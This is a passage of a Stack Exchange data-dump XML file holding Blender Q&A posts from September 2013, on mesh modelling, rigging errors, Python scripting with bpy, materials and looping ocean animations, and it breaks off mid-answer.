  <row Id="2840" PostTypeId="2" ParentId="2838" CreationDate="2013-09-12T03:50:38.223" Score="7" Body="&lt;p&gt;Yes this is possible, the wire-frame tool has a &lt;em&gt;Crease&lt;/em&gt; toggle, that gives a nicer result when the subsurf modifier is applied.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IHTcQ.png&quot; alt=&quot;Without Crease (left)&quot; /&gt;&#xA;With Crease option enabled (right).&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Note:&lt;/h3&gt;&#xA;&lt;p&gt;there is a bug in 2.68a, where this option only works if creases were already added to the mesh. Fixed in trunk (available in any builds newer than &lt;a href=&quot;http://blender.markmail.org/thread/lk6b2tuelthwyy3g&quot; rel=&quot;noreferrer&quot;&gt;r60061&lt;/a&gt; and will be in 2.69).&lt;/p&gt;&#xA;&lt;p&gt;To workaround this you can add a crease to any edge before accessing wire tool.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-09-12T19:47:02.233" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2841" PostTypeId="1" CreationDate="2013-09-12T05:37:32.993" Score="7" ViewCount="1620" Body="&lt;p&gt;I'm trying to use an .stl file that imports as a tightly bound wire mesh that it difficult to work with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My computer lags or the file seems too big for color/texture/etc. Is there a way to reduce the file or to change a setting to be able to work with larger files like this or am I doomed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to use a 3d scan of a mouth/teeth for numerous videos. Having something realistic and proportional will serve me well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, that is why I am trying to work with these larger files scans.&lt;/p&gt;&#xA;" OwnerUserId="1273" LastEditorUserId="12" LastEditDate="2013-12-08T09:32:07.963" LastActivityDate="2013-12-08T09:32:07.963" Title="Working with larger .stl wireframe files" Tags="&lt;file-format&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2843" PostTypeId="2" ParentId="2841" CreationDate="2013-09-12T07:54:17.030" Score="5" Body="&lt;p&gt;You can reduce the mesh density in Blender by using a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Decimate&quot; rel=&quot;noreferrer&quot;&gt;Decimate&lt;/a&gt; or &lt;a href=&quot;http://wiki.blender.org/index.php/Dev%3aRef/Release_Notes/2.62/Remesh_Modifier&quot; rel=&quot;noreferrer&quot;&gt;Remesh&lt;/a&gt; modifier: create the modifier, change the settings until the mesh is as detailed as you need it, and then apply it. Don't forget to apply it or your mesh will still be very dense in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your mesh is too large for Blender to load at all, you could try using &lt;a href=&quot;http://meshlab.sourceforge.net/&quot; rel=&quot;noreferrer&quot;&gt;Meshlab&lt;/a&gt;, which is also free and open source and works nicely with &lt;code&gt;.stl&lt;/code&gt; files. &lt;a href=&quot;http://www.youtube.com/watch?v=PWM6EGVVNQU&quot; rel=&quot;noreferrer&quot;&gt;This video&lt;/a&gt; shows how to decimate a mesh using Meshlab.&lt;/p&gt;&#xA;" OwnerUserId="1146" LastActivityDate="2013-09-12T07:54:17.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2844" PostTypeId="2" ParentId="2837" CreationDate="2013-09-12T08:53:59.747" Score="7" Body="&lt;p&gt;According to the original paper &lt;a href=&quot;http://www.cs.berkeley.edu/~sequin/CS284/PAPERS/CatmullClark_SDSurf.pdf&quot;&gt;CATMULL, E., AND CLARK, J. Recursively generated B-spline surfaces on arbitrary topological&#xA;meshes. Computer-Aided Design 10 (Sept. 1978), 350–355&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For rectangular control-point meshes the Catmull Clark subdivision modifier creates a standard B-spline surface. Regardless of the number of subdivision it will not converge to an accurate circle, but with more control points the difference between a circle and the interpolated shape will be less noticeable.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="9" LastEditDate="2013-09-12T09:32:03.633" LastActivityDate="2013-09-12T09:32:03.633" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2845" PostTypeId="1" CreationDate="2013-09-12T09:09:16.267" Score="6" ViewCount="13231" Body="&lt;p&gt;I am creating men/woman character using MakeHuman tool and import into the blender tool. I followed the steps given in the below youtube video tutorial to work with blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=dYiAd_08-0k&quot; rel=&quot;noreferrer&quot;&gt;http://www.youtube.com/watch?v=dYiAd_08-0k&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can generate the armature. But When I skin the armature into the character I got the following error &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;bone heat weighting: failed to find solution for one or more bones&quot;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What may be the problem and how can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="1269" LastEditorUserId="12" LastEditDate="2013-09-12T11:29:52.003" LastActivityDate="2017-11-09T17:17:53.180" Title="Bone heat weighting: failed to find solution for one or more bones" Tags="&lt;rigging&gt;&lt;bones&gt;&lt;rigify&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2846" PostTypeId="2" ParentId="2845" CreationDate="2013-09-12T09:19:40.130" Score="3" Body="&lt;p&gt;I also faced this message, the reason was that the model wasn't symmetric (after twiddling with an already applied mirror modifier). In this case you could try to cut off one half and mirror it again. After that the parenting with automatic weights should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also this thread on &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?130935-Bone-heat-weighting-failed-to-find-solution-for-one-or-more-bones&quot; rel=&quot;nofollow&quot;&gt;BA Bone-heat-weighting-failed-to-find-solution-for-one-or-more-bones&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-09-12T09:19:40.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2847" PostTypeId="2" ParentId="2829" CreationDate="2013-09-12T11:52:16.330" Score="2" Body="&lt;p&gt;For me this just worked fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#reguirement: you got action called &quot;Idle&quot;&#xA;csontvaz_objektumkent = bpy.data.objects[0] #this is actually the armature, but I use index&#xA;                                            #because I am lazy&#xA;bpy.context.scene.objects.active = csontvaz_objektumkent&#xA;csontvaz_objektumkent.animation_data_create()&#xA;csontvaz_objektumkent.animation_data.action = bpy.data.actions[&quot;Idle&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am sorry if it looks bad: I am pretty new to BPY.&lt;/p&gt;&#xA;" OwnerUserId="1090" LastEditorUserId="1090" LastEditDate="2013-09-18T08:21:10.807" LastActivityDate="2013-09-18T08:21:10.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2848" PostTypeId="1" AcceptedAnswerId="2850" CreationDate="2013-09-12T14:08:36.447" Score="28" ViewCount="4010" Body="&lt;p&gt;Simple and maybe stupid question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was reading this lot of time, that&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;you should avoid using &lt;code&gt;bpy.ops&lt;/code&gt;, or &quot;instead of &lt;code&gt;bpy.ops&lt;/code&gt;, use this and that&quot;...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So why is that? Is that buggy, or what?&lt;/p&gt;&#xA;" OwnerUserId="1090" LastEditorUserId="29301" LastEditDate="2018-09-24T11:26:36.897" LastActivityDate="2018-09-24T11:26:36.897" Title="Why avoid bpy.ops?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;operator&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2849" PostTypeId="1" CreationDate="2013-09-12T14:38:54.177" Score="8" ViewCount="381" Body="&lt;p&gt;How can I transfer a collection of float values to a node socket​​?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I've tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a list of float values ​​and convert each of them to a string&lt;/li&gt;&#xA;&lt;li&gt;Pass the string to the socket&lt;/li&gt;&#xA;&lt;li&gt;In the right place in the script, I will retrieve the float values by accessing the string values from within an eval() function:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;list_x = eval(self.inputs['Points'].VectorProperty.x)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;list_y = eval(self.inputs['Points'].VectorProperty.y)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;list_point = list(zip(list_x, list_y))&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that this is not correct. But what is the correct way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vVJYC.jpg&quot; alt=&quot;code&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1235" LastEditorUserId="894" LastEditDate="2015-07-02T17:30:41.403" LastActivityDate="2018-12-22T04:03:55.673" Title="How can I transfer a collection of float values to a node socket​​?" Tags="&lt;python&gt;&lt;nodes&gt;&lt;pynodes&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2850" PostTypeId="2" ParentId="2848" CreationDate="2013-09-12T15:01:37.603" Score="19" Body="&lt;p&gt;Lots of &lt;code&gt;bpy.ops&lt;/code&gt; operators depend on the context (selected objects, active shape key index, etc.), therefore I think some are more suitable to be used interactively than in a script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd use &lt;code&gt;bpy.ops&lt;/code&gt; judiciously rather than avoiding it wholesale. For example, I find creating constraint through a posebone's &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.types.PoseBoneConstraints.html#bpy.types.PoseBoneConstraints.new&quot;&gt;&lt;code&gt;constraints.new&lt;/code&gt;&lt;/a&gt; easier to read, and independent from context, compared to changing context then calling &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.ops.pose.html#bpy.ops.pose.constraint_add_with_targets&quot;&gt;&lt;code&gt;pose.constraint_add_with_targets&lt;/code&gt;&lt;/a&gt;. But &lt;code&gt;bpy.ops&lt;/code&gt; can be indispensable for some tasks like vertex group manipulation and file operation even though it means temporarily messing with context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me, it really depends on what you're trying to do. Before resorting to &lt;code&gt;bpy.ops.*&lt;/code&gt;, see if the task can be accomplished in any other way. Using &lt;code&gt;bpy.ops&lt;/code&gt; operators may not always be best, but careful application can still result in readable code and smooth user interaction.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-09-12T15:06:54.880" LastActivityDate="2013-09-12T15:06:54.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2852" PostTypeId="1" AcceptedAnswerId="2856" CreationDate="2013-09-12T15:25:12.017" Score="11" ViewCount="11792" Body="&lt;p&gt;I've created a second scene with a linked object but want to replace the materials on those objects only in the second scene. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing happens if I choose the material in the outliner and choose unlink. Is there some other way to do this? &lt;/p&gt;&#xA;" OwnerUserId="1210" LastEditorUserId="12" LastEditDate="2013-09-12T18:19:31.090" LastActivityDate="2013-09-12T18:19:31.090" Title="How to unlink a material only from a linked object?" Tags="&lt;materials&gt;&lt;objects&gt;&lt;linked-data&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2853" PostTypeId="2" ParentId="2806" CreationDate="2013-09-12T16:14:38.300" Score="2" Body="&lt;p&gt;&amp;nbsp;&amp;nbsp;The only way I have found is not a fast solution, but so far the only one I can imagine without writing a completely new bevel routine. If you have two beziers at a sharp angle, they don't normally have the same length, so the concept of resolution and even spacing would be in the way of a clean bevel where both sides shave off material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&amp;nbsp;Okay, here's the way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6sBvJ.png&quot; alt=&quot;precison bevelling&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/S1rR9.png&quot; alt=&quot;how to adjust the curves&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This curve consists of sharp angles. The ones that cause trouble.&lt;/li&gt;&#xA;&lt;li&gt;Give the curve a bevel of, for example, 0.2 and an offset of -0.2 and adjust resolution of bevel and curve to match your desired end result.&lt;/li&gt;&#xA;&lt;li&gt;Duplicate the curves.&lt;/li&gt;&#xA;&lt;li&gt;Change the shapes like shown. Every curve segment you want to retain should continue straight. The newly created bulges will be cut away. I adjusted adjacent handles to be 180° and made them longer. If you want more precision, extrude the curve, so you can be sure to have a straight continuation (or a slightly curved one if the dynamics of the curve demand that). I put opposite curve segments into the same object because I have an even count of segments. The blue object is contributing the horizontal part of the finished mesh while the green object adds the vertical one.&lt;/li&gt;&#xA;&lt;li&gt;Convert both into meshes. Perform &lt;em&gt;Remove Doubles&lt;/em&gt; and maybe &lt;em&gt;Recalculate Normals Outside&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Connect them with a &lt;em&gt;Boolean Modifier&lt;/em&gt; set to &lt;em&gt;Intersect&lt;/em&gt; because you are only interested in the space both objects occupy. Apply it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-09-12T20:22:31.867" LastActivityDate="2013-09-12T20:22:31.867" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2854" PostTypeId="2" ParentId="2789" CreationDate="2013-09-12T16:15:45.623" Score="1" Body="&lt;p&gt;Well, the closest I know of without creating a custom script is to enable the 'Stretch' display option in the UV image editor from the properties sidebar:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Zr9C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which produces this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DkXaS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, extracting and using this data in a useful way (other than taking a screenshot) is another matter, I just thought I might as well put this out there just in case it's useful in some way.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2013-09-12T16:15:45.623" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2855" PostTypeId="2" ParentId="2848" CreationDate="2013-09-12T16:51:06.573" Score="7" Body="&lt;p&gt;I'll just quote &lt;a href=&quot;https://blender.stackexchange.com/questions/2638/run-an-edit-mode-operator-on-every-object-in-the-scene/2639#comment-4435&quot;&gt;ideasman42&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When possible I would avoid using bpy.ops, These wrap tools in a way that relies on the context and dont have a good way to pass args and return results to scripts. If there is an alternative (as with bmesh), it's better integrated into python, and you don't have to worry about active object, modes, visible layers etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2013-09-12T16:52:52.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2856" PostTypeId="2" ParentId="2852" CreationDate="2013-09-12T17:04:00.067" Score="12" Body="&lt;p&gt;If it's a mesh object, it might be that your material is linked to the mesh (the data), not the object. Try this structure: Two different objects, both of which use the same mesh. The materials are linked to the objects instead of the mesh. Then you have an object identical in shape, but different in color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set the type of link to the right of the material name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YQ84d.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-09-12T17:12:18.223" LastActivityDate="2013-09-12T17:12:18.223" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2857" PostTypeId="1" AcceptedAnswerId="2862" CreationDate="2013-09-12T18:33:03.590" Score="7" ViewCount="13793" Body="&lt;p&gt;I am trying to create some graphic matches on action (on either side of a transition, similar shapes are in the same place on the screen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To accomplish this, I have an image with some targets which I would like to keep semi-transparent so that I can scale and move my footage underneath to precisely the right position. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have considered pushing each clip into a separate plane on a separate screen, but I'm not sure how I would get a semi transparent overlay using this. Anyhow, it would be preferable to keep my edits within the VSE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1276" LastEditorUserId="12" LastEditDate="2013-09-13T04:03:12.283" LastActivityDate="2018-09-12T15:35:35.583" Title="Pan or zoom in the VSE" Tags="&lt;video-sequence-editor&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2858" PostTypeId="1" AcceptedAnswerId="2864" CreationDate="2013-09-12T20:03:11.060" Score="35" ViewCount="17758" Body="&lt;p&gt;Is there a way animate the ocean modifier so it loops continuously?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to make an animation where the last frame seamlessly goes into the first without the ocean &quot;jumping&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oMXnI.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="3078" LastEditDate="2015-06-04T20:53:21.693" LastActivityDate="2015-06-22T16:26:06.910" Title="How to create a seamlessly looping ocean" Tags="&lt;animation&gt;&lt;ocean-simulation&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="2859" PostTypeId="2" ParentId="1797" CreationDate="2013-09-12T20:07:09.597" Score="2" Body="&lt;p&gt;&amp;nbsp;&amp;nbsp;While I heartily agree that &lt;em&gt;Duplifaces&lt;/em&gt; are a good way to go, I tend to combine them with a &lt;em&gt;Shrinkwrap Modifier&lt;/em&gt;. You create a second mesh, consisting of tris and glue it to your target mesh with a &lt;em&gt;Shrinkwrap&lt;/em&gt;. Then you parent the nail to the shrunk mesh and enable &lt;em&gt;Duplifaces&lt;/em&gt; in the shrunk mesh's properties. Make sure your nail has the object origin at it's base.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&amp;nbsp;Now you can shove the Tris around and you still can be sure that the nails are reasonably perpendicular. You'll have absolute control over the placement and density of your nails/thorns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&amp;nbsp;You can either give the shrunk mesh a transparent material or you can exclude it from rendering in the &lt;em&gt;Outliner&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aLhMo.png&quot; alt=&quot;Duplifaces and Shrinkwrap&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do not have to create the shrinkmesh by hand. You can separate all faces by applying an &lt;em&gt;Edge Split Modifier&lt;/em&gt; set to 0° &lt;em&gt;Split Angle&lt;/em&gt;. And you can decrease the size of the faces in &lt;em&gt;Face Select&lt;/em&gt; mode by scaling them all with &lt;em&gt;Individual Origins&lt;/em&gt; as &lt;em&gt;Pivot Point&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XdMcV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2016-12-24T17:59:14.807" LastActivityDate="2016-12-24T17:59:14.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2860" PostTypeId="2" ParentId="2838" CreationDate="2013-09-12T20:36:34.203" Score="5" Body="&lt;p&gt;This can also be done by converting to a curve:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In &lt;kbd&gt;Tab&lt;/kbd&gt; Edit mode, &lt;kbd&gt;A&lt;/kbd&gt; select all, &lt;kbd&gt;Delete&lt;/kbd&gt;&lt;em&gt;&gt; Only faces&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;&gt; Convert to curve from mesh&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In &lt;em&gt;Object Data &gt; Shape&lt;/em&gt; set &lt;em&gt;Fill&lt;/em&gt; to &lt;em&gt;Full&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;Depth&lt;/em&gt; and &lt;em&gt;Resolution&lt;/em&gt; in &lt;em&gt;Object Data &gt; Geometry &gt; Bevel&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pros&lt;/strong&gt;: Allows good control over the shape and size of the bars, using &lt;em&gt;bevel objects&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cons&lt;/strong&gt;: Results in disconnected topology&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I don't really like this technique because of the topology issues, but I thought I would add it as it provides the rounded shape I'm looking for.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-12T20:43:15.247" LastActivityDate="2013-09-12T20:43:15.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2861" PostTypeId="2" ParentId="2789" CreationDate="2013-09-12T22:01:56.213" Score="3" Body="&lt;p&gt;It is possible to create an Image Texture from the Vertex Color layer. The process is a little convoluted (for the time being)&lt;/p&gt;&#xA;&lt;h3&gt;Method 1&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Establish the vertex color map&lt;/li&gt;&#xA;&lt;li&gt;Make a material from the vertex colors&lt;/li&gt;&#xA;&lt;li&gt;Bake Mode: Texture&lt;/li&gt;&#xA;&lt;li&gt;Make a material node tree to brighten the original texture with the baked one&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3&gt;Method 2  (cycles specific.. but can be done in BI too)&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Establish the Vertex color map&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add Node Material to rgb Mix this:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Texture node&lt;/li&gt;&#xA;&lt;li&gt;Attribute node referencing 'Col'&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Establish the vertex color map. Here i'm remapping from average distance to the median of each polygon, I suspect you can modify it to behave the way you want. For this to work you need to be in vertex paint mode&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;&#xA;obj = bpy.data.objects[&amp;quot;Plane.001&amp;quot;]&#xA;mesh = obj.data&#xA;&#xA;mesh.vertex_colors.new()&#xA;color_layer = mesh.vertex_colors.active  &#xA;verts = mesh.vertices&#xA;polys = []&#xA;&#xA;# first scan through to figure out min and max stretch&#xA;for poly in mesh.polygons:&#xA;&#xA;    face_median = Vector()&#xA;    for idx in poly.vertices:&#xA;        face_median += verts[idx].co&#xA;    face_median /= poly.loop_total&#xA;&#xA;    qdist = lambda idx: (verts[idx].co - face_median).length&#xA;    stretch = sum([qdist(idx) for idx in poly.vertices])&#xA;    polys.append( stretch / poly.loop_total )&#xA;&#xA;# now colour them as a function of their relative stretch&#xA;min_val = min(polys)&#xA;max_dif = max(polys) - min(polys)&#xA;i = 0&#xA;for g, poly in enumerate(mesh.polygons):&#xA;    c = (polys[g] - min_val) / max_dif&#xA;    for idx in poly.loop_indices:&#xA;        color_layer.data[i].color = (c,c,c)&#xA;        i += 1&#xA;&#xA;## set to vertex paint mode to see the result&#xA;bpy.ops.object.mode_set(mode='VERTEX_PAINT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;1 - c&lt;/code&gt; would give the inverse&#xA;&lt;img src=&quot;https://i.stack.imgur.com/H7kSy.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Node Tree&lt;/h3&gt;&#xA;&lt;p&gt;The two methods differ mostly in how the Node Tree is constructed:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;mix(baked, original texture)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;mix(vertex_color_layer, original_texture)&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;It may end up something like this, the setup is pretty similar for Cycles and Blender Internal&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WSvBG.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;But really there are many ways to set up this node tree, probably deserving their own Question/Answer.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-09-18T20:59:30.293" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2862" PostTypeId="2" ParentId="2857" CreationDate="2013-09-12T22:11:36.483" Score="8" Body="&lt;p&gt;I figured it out. Go to &lt;em&gt;Add&lt;/em&gt;  &gt; &lt;em&gt;Effect Strip&lt;/em&gt; &gt; &lt;em&gt;Transform&lt;/em&gt;, then right click on the element that you want to transform (i.e. the x offset) and select &lt;em&gt;Add Driver&lt;/em&gt;. Now you will be able to pan/zoom dynamically and edit this change with keyframes on the graph screen.&lt;/p&gt;&#xA;" OwnerUserId="1276" LastEditorUserId="12" LastEditDate="2013-09-13T04:04:54.823" LastActivityDate="2013-09-13T04:04:54.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2863" PostTypeId="1" AcceptedAnswerId="2901" CreationDate="2013-09-12T22:53:11.753" Score="1" ViewCount="172" Body="&lt;p&gt;How can I align the view (e.g. &lt;kbd&gt;Numpad&lt;/kbd&gt;&lt;kbd&gt;7&lt;/kbd&gt; for Top view) in a modal operator such as knife? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try pressing the numpad keys during a knife operation, nothing happens. This can be quite annoying when you want to move the view around to see other parts of the mesh, but having to start all over again if you want to be aligned to a view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;View&lt;/em&gt;, &lt;em&gt;Select&lt;/em&gt; and &lt;em&gt;Mesh&lt;/em&gt; menus are hidden as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-13T20:48:11.950" LastActivityDate="2018-05-02T15:06:56.323" Title="Align view to axis during modal operator?" Tags="&lt;workflow&gt;&lt;interface&gt;&lt;shortcut&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2864" PostTypeId="2" ParentId="2858" CreationDate="2013-09-12T23:03:29.957" Score="38" Body="&lt;p&gt;From Haunt's trick bag:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VBnAH.gif&quot; alt=&quot;OCEAN LOOP&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&amp;nbsp;Instead of using one &lt;em&gt;Ocean Modifier&lt;/em&gt;, use two identical ones. The following values are the ones used in this example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Key Frames&lt;/em&gt; on frame 1 and frame 21. Since these frames will be identical, the loop will only include frames 1 to 20.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First &lt;em&gt;Ocean Modifier&lt;/em&gt;: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Animate the time from 15 to 20&lt;/li&gt;&#xA;&lt;li&gt;Animate the scale from 0.0 to 3.0&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Second &lt;em&gt;Ocean Modifier&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Animate the time from 20 to 